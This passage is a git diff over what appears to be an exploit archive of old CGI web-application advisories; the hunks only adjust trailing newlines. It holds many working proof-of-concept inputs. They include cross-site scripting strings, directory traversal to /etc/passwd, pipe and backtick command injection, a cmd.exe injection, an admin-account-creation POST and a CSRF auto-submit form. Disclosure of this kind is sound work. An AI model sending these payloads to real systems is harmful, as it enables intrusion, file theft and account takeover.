to aid them in further attack Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. -http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[whatever] \ No newline at end of file +http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[whatever] \ No newline at end of file diff --git a/platforms/cgi/webapps/24286.txt b/platforms/cgi/webapps/24286.txt index ca9c70243..1baab15d4 100755 --- a/platforms/cgi/webapps/24286.txt +++ b/platforms/cgi/webapps/24286.txt @@ -7,4 +7,4 @@ A remote attacker can exploit this issue by creating a malicious link to the vul Cattaca Server 2003 version 1.1.10.0 is reported prone to this issue. Other versions may also be vulnerable. http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[code]//[code] -http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=[code]//[code]&LANGUAGE=lang//en \ No newline at end of file +http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=[code]//[code]&LANGUAGE=lang//en \ No newline at end of file diff --git a/platforms/cgi/webapps/24287.txt b/platforms/cgi/webapps/24287.txt index 194f87e99..1c4ea9689 100755 --- a/platforms/cgi/webapps/24287.txt +++ b/platforms/cgi/webapps/24287.txt @@ -4,4 +4,4 @@ BoardPower Forum is reportedly affected by a cross-site scripting vulnerability A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com/cgi-bin/boardpower/icq.cgi?action=<script>javascript:alert('hello');</script> \ No newline at end of file +http://www.example.com/cgi-bin/boardpower/icq.cgi?action=<script>javascript:alert('hello');</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/24400.txt b/platforms/cgi/webapps/24400.txt index bebe95ae3..7c68876da 100755 --- a/platforms/cgi/webapps/24400.txt +++ b/platforms/cgi/webapps/24400.txt @@ -8,4 +8,4 @@ This issue is reported to affect: - Axis 2401 and 2401 video servers -http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60 \ No newline at end of file +http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60 \ No newline at end of file diff --git a/platforms/cgi/webapps/24401.txt b/platforms/cgi/webapps/24401.txt index cccdd3cdc..7e6269f00 100755 --- a/platforms/cgi/webapps/24401.txt +++ b/platforms/cgi/webapps/24401.txt @@ -11,4 +11,4 @@ POST /cgi-bin/scripts/../../this_server/ServerManager.srv HTTP/1.0 Content-Length: 250 Pragma: no-cache -conf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A119104048048116%%3A&users=wh00t&username=wh00t&password1=wh00t&password2=wh00t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec_users.shtml&servermanager_do=set_variables \ No newline at end of file +conf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A119104048048116%%3A&users=wh00t&username=wh00t&password1=wh00t&password2=wh00t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec_users.shtml&servermanager_do=set_variables \ No newline at end of file diff --git a/platforms/cgi/webapps/24986.txt b/platforms/cgi/webapps/24986.txt index f281faf26..2f120ef70 100755 --- a/platforms/cgi/webapps/24986.txt +++ b/platforms/cgi/webapps/24986.txt @@ -5,4 +5,4 @@ Multiple remote SQL injection vulnerabilities reportedly affect Ikonboard. These An attacker may exploit these issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption. http://host/support/ikonboard.cgi?act=ST&f=27&t=13066&hl=nickname&st=[SQL_Syntax] -http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords=[SQL_Syntax]&type=name&forums=all&search_in=all&prune=0 \ No newline at end of file +http://host/support/ikonboard.cgi?act=Search&CODE=01&keywords=[SQL_Syntax]&type=name&forums=all&search_in=all&prune=0 \ No newline at end of file diff --git a/platforms/cgi/webapps/25041.txt b/platforms/cgi/webapps/25041.txt index a49554bdc..1234612d2 100755 --- a/platforms/cgi/webapps/25041.txt +++ b/platforms/cgi/webapps/25041.txt @@ -4,4 +4,4 @@ It is reported that e_Board is vulnerable to a directory traversal vulnerability By including '../' directory traversal sequences and a NULL (%00) in the affected URI argument, attackers may reportedly cause the contents of arbitrary, potentially sensitive web-server readable files to be included in the output of the requested page. -http://www.example.com/cgi-bin/eboard40/index2.cgi?frames=yes&board=demo&mode=Current&threads=Collapse&message=../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/cgi-bin/eboard40/index2.cgi?frames=yes&board=demo&mode=Current&threads=Collapse&message=../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/25042.txt b/platforms/cgi/webapps/25042.txt index 655d2b708..b3a44f3c1 100755 --- a/platforms/cgi/webapps/25042.txt +++ b/platforms/cgi/webapps/25042.txt @@ -4,4 +4,4 @@ Tlen.pl is reported prone to a potential script execution vulnerability. It is r Tlen.pl 5.23.4.1 and prior versions are affected by this vulnerability. -www.tlen.pl"style=background-image:url(javascript:alert(%22You%20are%20owned!%22));.pl \ No newline at end of file +www.tlen.pl"style=background-image:url(javascript:alert(%22You%20are%20owned!%22));.pl \ No newline at end of file diff --git a/platforms/cgi/webapps/25051.txt b/platforms/cgi/webapps/25051.txt index a278b8fae..93569bf4d 100755 --- a/platforms/cgi/webapps/25051.txt +++ b/platforms/cgi/webapps/25051.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/12097/info WPKontakt is reported prone to a potential script execution vulnerability. It is reported that this issue may allow remote attackers to execute arbitrary script code on a vulnerable computer, which may lead to various attacks. Arbitrary script code may be executed on a target system in the event that a specially message containing a specially malformed email address containing a JavaScript URI is received. -test@"style="background-image:url(javascript:alert(%22You%20are%20owned!%22>))".wp.pl \ No newline at end of file +test@"style="background-image:url(javascript:alert(%22You%20are%20owned!%22>))".wp.pl \ No newline at end of file diff --git a/platforms/cgi/webapps/25067.txt b/platforms/cgi/webapps/25067.txt index 557d4047d..4813f2580 100755 --- a/platforms/cgi/webapps/25067.txt +++ b/platforms/cgi/webapps/25067.txt @@ -12,4 +12,4 @@ http://www.example.com/WebAdmin/useredit_account.wdm?user=%3Cscript%3Ealert('tes http://www.example.com/WebAdmin/modalframe.wdm?file=http://other_server/page.wdm The following proof of concept demonstrates the access validation issue: -http://www.example.com/WebAdmin/useredit_account.wdm?user=otheruser@domain \ No newline at end of file +http://www.example.com/WebAdmin/useredit_account.wdm?user=otheruser@domain \ No newline at end of file diff --git a/platforms/cgi/webapps/25096.txt b/platforms/cgi/webapps/25096.txt index 14eb30a62..f2a9bc881 100755 --- a/platforms/cgi/webapps/25096.txt +++ b/platforms/cgi/webapps/25096.txt @@ -5,4 +5,4 @@ A remote information disclosure vulnerability reportedly affects AWStats. This i An attacker may leverage this issue to gain access to potentially sensitive data, possibly facilitating further attacks against an affected computer. http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=1 -http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=2 \ No newline at end of file +http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=2 \ No newline at end of file diff --git a/platforms/cgi/webapps/25108.txt b/platforms/cgi/webapps/25108.txt index b57bfd2b8..d780220e7 100755 --- a/platforms/cgi/webapps/25108.txt +++ b/platforms/cgi/webapps/25108.txt @@ -6,4 +6,4 @@ Specifically, the user-specified 'logfile' URI parameter is supplied to the Perl AWStats versions 5.4 to 6.1 are reported vulnerable to this issue. -http://www.example.com/cgi-bin/awstats.pl?update=1&logfile=|/bin/ls| \ No newline at end of file +http://www.example.com/cgi-bin/awstats.pl?update=1&logfile=|/bin/ls| \ No newline at end of file diff --git a/platforms/cgi/webapps/25147.txt b/platforms/cgi/webapps/25147.txt index 240e048eb..4389af37e 100755 --- a/platforms/cgi/webapps/25147.txt +++ b/platforms/cgi/webapps/25147.txt @@ -28,4 +28,4 @@ This is a test Click submit. You'll receive an email from the bizmail script, but you won't receive the normal contact email. You can check the .dat -file and see a copy of what you sent. \ No newline at end of file +file and see a copy of what you sent. \ No newline at end of file diff --git a/platforms/cgi/webapps/25201.txt b/platforms/cgi/webapps/25201.txt index aeebabe35..a23e82a81 100755 --- a/platforms/cgi/webapps/25201.txt +++ b/platforms/cgi/webapps/25201.txt @@ -4,4 +4,4 @@ NewsScript is reported prone to an access validation vulnerability. This issue m It is reported that an attacker can exploit this issue by issuing a specially crafted HTTP GET request for the 'newsscript.pl' script to bypass access checks and carry out administrative tasks. -www.example.com/newsscript.pl?mode=admin \ No newline at end of file +www.example.com/newsscript.pl?mode=admin \ No newline at end of file diff --git a/platforms/cgi/webapps/25331.txt b/platforms/cgi/webapps/25331.txt index 4cbf3990c..bf6b42b20 100755 --- a/platforms/cgi/webapps/25331.txt +++ b/platforms/cgi/webapps/25331.txt @@ -25,4 +25,4 @@ Proxy-Connection: Keep-Alive User-Agent: BadGuy Host: 192.168.168.168 Content-Length: 160 -Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1 \ No newline at end of file +Pragma: no-cache uName=</TD><script>alert("Its_not_magic..._its_a_sonic")</script>&pass=NiceTry&Submit=Login&clientHash=bbe63bb858b02e741d2d12023ee350a1 \ No newline at end of file diff --git a/platforms/cgi/webapps/25350.txt b/platforms/cgi/webapps/25350.txt index 57b88e053..a8074f428 100755 --- a/platforms/cgi/webapps/25350.txt +++ b/platforms/cgi/webapps/25350.txt @@ -7,4 +7,4 @@ A remote attacker may exploit this issue to have arbitrary script and HTML code WebWasher CSM 4.4.1 (Build 752) is reported prone to this issue, other versions might also be affected. http://www.example.com:9090/conf?navTo1=Rep&navTo2=Dean"><script>alert("Welcome%20to%20Webwasher");alert("Script%20Code%20will%20be%20executed")</script>on&userId=default&foo -=1549218 \ No newline at end of file +=1549218 \ No newline at end of file diff --git a/platforms/cgi/webapps/25592.txt b/platforms/cgi/webapps/25592.txt index 75c0100e8..6a2b56b94 100755 --- a/platforms/cgi/webapps/25592.txt +++ b/platforms/cgi/webapps/25592.txt @@ -4,4 +4,4 @@ WebCrossing is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/webx?@[code] \ No newline at end of file +http://www.example.com/webx?@[code] \ No newline at end of file diff --git a/platforms/cgi/webapps/25594.txt b/platforms/cgi/webapps/25594.txt index 8d7331ff1..9631187a0 100755 --- a/platforms/cgi/webapps/25594.txt +++ b/platforms/cgi/webapps/25594.txt @@ -8,4 +8,4 @@ Links versions 2.x, and 2.2.x, as well as Links-SQL version 3.0 are all reported http://www.example.com/user.cgi?url="><script>alert("XSS Vulnerability")</script><"&from=rate http://www.example.com/user.cgi?url="><iframe%20src="http://www.example2.com/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height -+="3000"%20frameborder="No"></iframe><!--&from=rate \ No newline at end of file ++="3000"%20frameborder="No"></iframe><!--&from=rate \ No newline at end of file diff --git a/platforms/cgi/webapps/25622.txt b/platforms/cgi/webapps/25622.txt index d02a46d9e..f06629235 100755 --- a/platforms/cgi/webapps/25622.txt +++ b/platforms/cgi/webapps/25622.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue is reported to affect MegaBook version 2.0; other versions may also be vulnerable. -http://www.example.com/admin.cgi?action=modifypost&entryid=">&lt;script&gt;alert('wvs-xss-magic-string-703410097');&lt;/script&gt; \ No newline at end of file +http://www.example.com/admin.cgi?action=modifypost&entryid=">&lt;script&gt;alert('wvs-xss-magic-string-703410097');&lt;/script&gt; \ No newline at end of file diff --git a/platforms/cgi/webapps/25632.txt b/platforms/cgi/webapps/25632.txt index e45b57954..57d1e3b3a 100755 --- a/platforms/cgi/webapps/25632.txt +++ b/platforms/cgi/webapps/25632.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13551/info Easy Message Board is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root. -http://www.example/com/cgi-bin/emsgb/easymsgb.pl?print=../../../../../../../../etc/passwd \ No newline at end of file +http://www.example/com/cgi-bin/emsgb/easymsgb.pl?print=../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/25634.txt b/platforms/cgi/webapps/25634.txt index d7149f089..7dadbf560 100755 --- a/platforms/cgi/webapps/25634.txt +++ b/platforms/cgi/webapps/25634.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13555/info Easy Message Board is prone to a remote command execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. -http://www.example.com/cgi-bin/emsgb/easymsgb.pl?print=|id| \ No newline at end of file +http://www.example.com/cgi-bin/emsgb/easymsgb.pl?print=|id| \ No newline at end of file diff --git a/platforms/cgi/webapps/25649.txt b/platforms/cgi/webapps/25649.txt index 6a4d892d4..1ab1f05fe 100755 --- a/platforms/cgi/webapps/25649.txt +++ b/platforms/cgi/webapps/25649.txt @@ -6,4 +6,4 @@ ShowOff! Digital Media Software 1.5.4 is reportedly vulnerable. Other versions m http://www.example.com/ShowAlbum?ShowDetails&1&nocount&/../../../../../../../../../../[file] http://www.example.com/ShowVideo?1&fullnocount&/../../../../../../../../../../[file] -http://www.example.com/ShowGraphic?/../../../../../../../../[file] \ No newline at end of file +http://www.example.com/ShowGraphic?/../../../../../../../../[file] \ No newline at end of file diff --git a/platforms/cgi/webapps/25666.txt b/platforms/cgi/webapps/25666.txt index f7377439d..a9c4da894 100755 --- a/platforms/cgi/webapps/25666.txt +++ b/platforms/cgi/webapps/25666.txt @@ -6,4 +6,4 @@ When handling a specially-crafted URI request, the application discloses the sou Information gathered through this attack could be used to launch further attacks against a system. -http://www.example.com/somedir/../cgi-bin/test.pl \ No newline at end of file +http://www.example.com/somedir/../cgi-bin/test.pl \ No newline at end of file diff --git a/platforms/cgi/webapps/25668.txt b/platforms/cgi/webapps/25668.txt index 47e9ee42b..c71a58c72 100755 --- a/platforms/cgi/webapps/25668.txt +++ b/platforms/cgi/webapps/25668.txt @@ -8,4 +8,4 @@ http://www.example.com/scripts/sigmaweb.dll username: a very long sting of codes and data like: -: /' /'.' por //":>>?>>??>+_+_)()((**&^%^%%$#!?><>><><?/?""""''':L:L"">:":. \ No newline at end of file +: /' /'.' por //":>>?>>??>+_+_)()((**&^%^%%$#!?><>><><?/?""""''':L:L"">:":. \ No newline at end of file diff --git a/platforms/cgi/webapps/25817.txt b/platforms/cgi/webapps/25817.txt index a069f45dc..fd8cec210 100755 --- a/platforms/cgi/webapps/25817.txt +++ b/platforms/cgi/webapps/25817.txt @@ -8,4 +8,4 @@ This can lead to various attacks including unauthorized access to an affected co JamMail 1.8 is affected by this issue. -http://www.example.com/cgi-bin/jammail.pl?job=showoldmail&mail=|command| \ No newline at end of file +http://www.example.com/cgi-bin/jammail.pl?job=showoldmail&mail=|command| \ No newline at end of file diff --git a/platforms/cgi/webapps/25918.txt b/platforms/cgi/webapps/25918.txt index d7f1581c1..f80b8941d 100755 --- a/platforms/cgi/webapps/25918.txt +++ b/platforms/cgi/webapps/25918.txt @@ -6,4 +6,4 @@ Specifically, an attacker can supply arbitrary commands prefixed with the '|' ch This issue is reported to affect imTRBBS version 1.02; other versions may also be vulnerable. -http://www.example.com/cgi-bin/im_trbbs.cgi?uid=parameter&df=bbs.dat|ls| \ No newline at end of file +http://www.example.com/cgi-bin/im_trbbs.cgi?uid=parameter&df=bbs.dat|ls| \ No newline at end of file diff --git a/platforms/cgi/webapps/25939.txt b/platforms/cgi/webapps/25939.txt index 27cba5902..2bc541173 100755 --- a/platforms/cgi/webapps/25939.txt +++ b/platforms/cgi/webapps/25939.txt @@ -8,4 +8,4 @@ This issue may facilitate unauthorized remote access in the context of the Web s GlobalNoteScript 4.20 and prior versions are affected. -http://www.example.com/cgi-bin/bbs/read.cgi?file=|uname%20-a|&bbs_id=00001 \ No newline at end of file +http://www.example.com/cgi-bin/bbs/read.cgi?file=|uname%20-a|&bbs_id=00001 \ No newline at end of file diff --git a/platforms/cgi/webapps/25952.txt b/platforms/cgi/webapps/25952.txt index a33076644..6c14b459e 100755 --- a/platforms/cgi/webapps/25952.txt +++ b/platforms/cgi/webapps/25952.txt @@ -7,4 +7,4 @@ Reportedly, this issue arises when the user-specified values are passed to the ' This issue may facilitate unauthorized remote access in the context of the Web server to the affected computer. http://www.example.com/cgi-bin/kaiseki.cgi?file.exetension|command| -http://www.example.com/cgi-bin/kaiseki.cgi?|command| \ No newline at end of file +http://www.example.com/cgi-bin/kaiseki.cgi?|command| \ No newline at end of file diff --git a/platforms/cgi/webapps/26017.txt b/platforms/cgi/webapps/26017.txt index 87dc7e7cc..0cf1e0a24 100755 --- a/platforms/cgi/webapps/26017.txt +++ b/platforms/cgi/webapps/26017.txt @@ -11,4 +11,4 @@ These vulnerabilities allow remote attackers to retrieve the contents of arbitra http://diveintogreasemonkey.org/experiments/function-leak.html http://diveintogreasemonkey.org/experiments/script-leak.html http://diveintogreasemonkey.org/experiments/xmlhttprequest-leak.html -http://diveintogreasemonkey.org/experiments/localfile-leak.html \ No newline at end of file +http://diveintogreasemonkey.org/experiments/localfile-leak.html \ No newline at end of file diff --git a/platforms/cgi/webapps/26046.txt b/platforms/cgi/webapps/26046.txt index ccf67565e..669a1a9fd 100755 --- a/platforms/cgi/webapps/26046.txt +++ b/platforms/cgi/webapps/26046.txt @@ -16,4 +16,4 @@ http://www.example.com/compose.pl?func=new&To=lala@lala.es[XSS-CODE]&Cc=&Bcc= http://www.example.com/webadmin/filter.pl?func=viewmailrelay&Order=IPaddress[XSS-CODE] http://www.example.com/webadmin/filter.pl?func=filter&Header=blacklist_from&Type=1[XSS-CODE]&View=1 http://www.example.com/webadmin/filter.pl?func=filter&Header=blacklist_from[XSS-CODE]&Type=1&View=1 -http://www.example.com/webadmin/filter.pl?func=filter&Header=whitelist_from&Type=0&Display=1&Sort=value[XSS-CODE]&Type=1&View=1 \ No newline at end of file +http://www.example.com/webadmin/filter.pl?func=filter&Header=whitelist_from&Type=0&Display=1&Sort=value[XSS-CODE]&Type=1&View=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/26066.txt b/platforms/cgi/webapps/26066.txt index 9cf4f5e45..77461683f 100755 --- a/platforms/cgi/webapps/26066.txt +++ b/platforms/cgi/webapps/26066.txt @@ -9,4 +9,4 @@ http://www.example.com/test.ks/raw_input http://www.example.com/test.ks/file?%22*10000000&mode=w The following example will create a file on the local filesystem on the hosting computer: -http://www.example.com/test.ks/file?%22*2&mode=w \ No newline at end of file +http://www.example.com/test.ks/file?%22*2&mode=w \ No newline at end of file diff --git a/platforms/cgi/webapps/26290.txt b/platforms/cgi/webapps/26290.txt index e90096b99..e75b5400a 100755 --- a/platforms/cgi/webapps/26290.txt +++ b/platforms/cgi/webapps/26290.txt @@ -11,4 +11,4 @@ http://www.example.com/[path]/perldiver.pl?testhere<SCRIPT>alert(document.domain version 2.x ------ -http://www.example.com/[path]/perldiver.cgi?action=2020&module=<script>document.write(document.domain)</script> \ No newline at end of file +http://www.example.com/[path]/perldiver.cgi?action=2020&module=<script>document.write(document.domain)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/26344.txt b/platforms/cgi/webapps/26344.txt index b0156e121..866624b08 100755 --- a/platforms/cgi/webapps/26344.txt +++ b/platforms/cgi/webapps/26344.txt @@ -4,4 +4,4 @@ WebGUI is prone to an arbitrary command execution vulnerability. This is due to This issue can facilitate unauthorized remote access. -http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60; \ No newline at end of file +http://www.example.com/WebGUI/index.pl/homels?func=add;class=WebGUI::Asset::Wobject::Article%3bprint%20%60id%60; \ No newline at end of file diff --git a/platforms/cgi/webapps/26398.txt b/platforms/cgi/webapps/26398.txt index d401cbe78..deb9a45c9 100755 --- a/platforms/cgi/webapps/26398.txt +++ b/platforms/cgi/webapps/26398.txt @@ -4,4 +4,4 @@ RSA ACE Agent is prone to a cross-site scripting vulnerability because the appli An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/webauthentication?GetPic?image=x%3Cimg%20src=%22A%22+onError=%22javascript:alert('Thanks%20for%20turning%20on%20the%20remotecontrol')%3b%22%3Exxx \ No newline at end of file +http://www.example.com/webauthentication?GetPic?image=x%3Cimg%20src=%22A%22+onError=%22javascript:alert('Thanks%20for%20turning%20on%20the%20remotecontrol')%3b%22%3Exxx \ No newline at end of file diff --git a/platforms/cgi/webapps/26463.txt b/platforms/cgi/webapps/26463.txt index 33f5fc8d1..c340f80a3 100755 --- a/platforms/cgi/webapps/26463.txt +++ b/platforms/cgi/webapps/26463.txt @@ -25,4 +25,4 @@ document.forms[0].submit(); <script type="text/javascript"> document.forms[0].submit(); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/26475.txt b/platforms/cgi/webapps/26475.txt index 16b40d7af..b5f48859a 100755 --- a/platforms/cgi/webapps/26475.txt +++ b/platforms/cgi/webapps/26475.txt @@ -4,4 +4,4 @@ Asterisk is prone to an unauthorized-access vulnerability. This issue is due to Successful exploitation will grant an attacker access to a victim user's voicemail and to any '.wav/.WAV' files currently on the affected system. -http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav \ No newline at end of file +http://www.example.org/cgi-bin/vmail.cgi?action=audio&folder=../201/INBOX&mailbox=200&context=default&password=12345&msgid=0001&format=wav \ No newline at end of file diff --git a/platforms/cgi/webapps/26509.txt b/platforms/cgi/webapps/26509.txt index 2d7318426..60164be75 100755 --- a/platforms/cgi/webapps/26509.txt +++ b/platforms/cgi/webapps/26509.txt @@ -9,4 +9,4 @@ Other attacks are also possible. Walla Telesite version 3.0 is affected; earlier versions are also affected. http://www.example.com/ts.cgi?c:\boot.ini -http://www.example.com/ts.cgi?c:\boot1.ini \ No newline at end of file +http://www.example.com/ts.cgi?c:\boot1.ini \ No newline at end of file diff --git a/platforms/cgi/webapps/26552.txt b/platforms/cgi/webapps/26552.txt index 384aac592..0b70de294 100755 --- a/platforms/cgi/webapps/26552.txt +++ b/platforms/cgi/webapps/26552.txt @@ -5,4 +5,4 @@ OTRS is prone to multiple input-validation vulnerabilities. These issues are due The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. http://www.example.com/index.pl?QueueID=%22%3E%3Cscript%3Ealert('[XSS_HERE]')%3B%3C/script%3E%3Cx%20y=%22 -http://www.example.com/index.pl?Action="><script>alert(document.title);</script><x%20" \ No newline at end of file +http://www.example.com/index.pl?Action="><script>alert(document.title);</script><x%20" \ No newline at end of file diff --git a/platforms/cgi/webapps/26716.txt b/platforms/cgi/webapps/26716.txt index dbcaa2685..8be018281 100755 --- a/platforms/cgi/webapps/26716.txt +++ b/platforms/cgi/webapps/26716.txt @@ -4,4 +4,4 @@ Easy Search System is prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/search.cgi?q=[XSS] \ No newline at end of file +http://www.example.com/search.cgi?q=[XSS] \ No newline at end of file diff --git a/platforms/cgi/webapps/26721.txt b/platforms/cgi/webapps/26721.txt index ab367c752..1ce849560 100755 --- a/platforms/cgi/webapps/26721.txt +++ b/platforms/cgi/webapps/26721.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions 1.80 and prior are affected; other versions may also be vulnerable. -http://www.example.com/1search.cgi?q=[XSS]&boolean=ALL&case=Insensitive \ No newline at end of file +http://www.example.com/1search.cgi?q=[XSS]&boolean=ALL&case=Insensitive \ No newline at end of file diff --git a/platforms/cgi/webapps/26761.txt b/platforms/cgi/webapps/26761.txt index eec3d7d3d..9a1bba0df 100755 --- a/platforms/cgi/webapps/26761.txt +++ b/platforms/cgi/webapps/26761.txt @@ -4,4 +4,4 @@ It is possible for remote attackers to gain control of a target TrueMobile 2300 http://target/apply.cgi?Page=adv_password.asp&action=ClearLog -A dialog requesting credentials may appear. The action will be performed, even if "cancel" is clicked. \ No newline at end of file +A dialog requesting credentials may appear. The action will be performed, even if "cancel" is clicked. \ No newline at end of file diff --git a/platforms/cgi/webapps/26771.txt b/platforms/cgi/webapps/26771.txt index af345086e..16457d036 100755 --- a/platforms/cgi/webapps/26771.txt +++ b/platforms/cgi/webapps/26771.txt @@ -4,4 +4,4 @@ Nortel SSL VPN is prone to an input validation vulnerability. This issue could b Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected. -https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start... \ No newline at end of file +https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start... \ No newline at end of file diff --git a/platforms/cgi/webapps/26786.txt b/platforms/cgi/webapps/26786.txt index b0439f201..75ad78bca 100755 --- a/platforms/cgi/webapps/26786.txt +++ b/platforms/cgi/webapps/26786.txt @@ -4,4 +4,4 @@ EveryAuction is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to run arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/auction.pl?searchstring=[XSS]&action=search&searchtype=keyword \ No newline at end of file +http://www.example.com/path/auction.pl?searchstring=[XSS]&action=search&searchtype=keyword \ No newline at end of file diff --git a/platforms/cgi/webapps/26843.txt b/platforms/cgi/webapps/26843.txt index f7ac5068d..d03975a6c 100755 --- a/platforms/cgi/webapps/26843.txt +++ b/platforms/cgi/webapps/26843.txt @@ -4,4 +4,4 @@ SiteNet BBS is prone to a cross-site scripting vulnerability. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://example.com/search.cgi?cid=[XSS] \ No newline at end of file +http://example.com/search.cgi?cid=[XSS] \ No newline at end of file diff --git a/platforms/cgi/webapps/26845.txt b/platforms/cgi/webapps/26845.txt index e534ef819..f65c92f36 100755 --- a/platforms/cgi/webapps/26845.txt +++ b/platforms/cgi/webapps/26845.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in /atl.cgi?ct=a8&md=search&brf=&before=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E -/atl.cgi?ct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +/atl.cgi?ct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26847.txt b/platforms/cgi/webapps/26847.txt index c3295a45c..2db3c9c16 100755 --- a/platforms/cgi/webapps/26847.txt +++ b/platforms/cgi/webapps/26847.txt @@ -4,4 +4,4 @@ eDatCat is prone to a cross-site scripting vulnerability. This issue is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/EDCstore.pl?user_action=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/EDCstore.pl?user_action=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26848.txt b/platforms/cgi/webapps/26848.txt index e5467feab..8740a2d7b 100755 --- a/platforms/cgi/webapps/26848.txt +++ b/platforms/cgi/webapps/26848.txt @@ -8,4 +8,4 @@ http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=%22%3E%3Cscript%3Eal http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=&max=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E -http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/26849.txt b/platforms/cgi/webapps/26849.txt index ce686e4eb..a03402ff0 100755 --- a/platforms/cgi/webapps/26849.txt +++ b/platforms/cgi/webapps/26849.txt @@ -11,4 +11,4 @@ http://www.example.com/cart.cgi?action=search&category=%22%3E%3Cs cript%3Ealert('r0t')%3C/script%3E 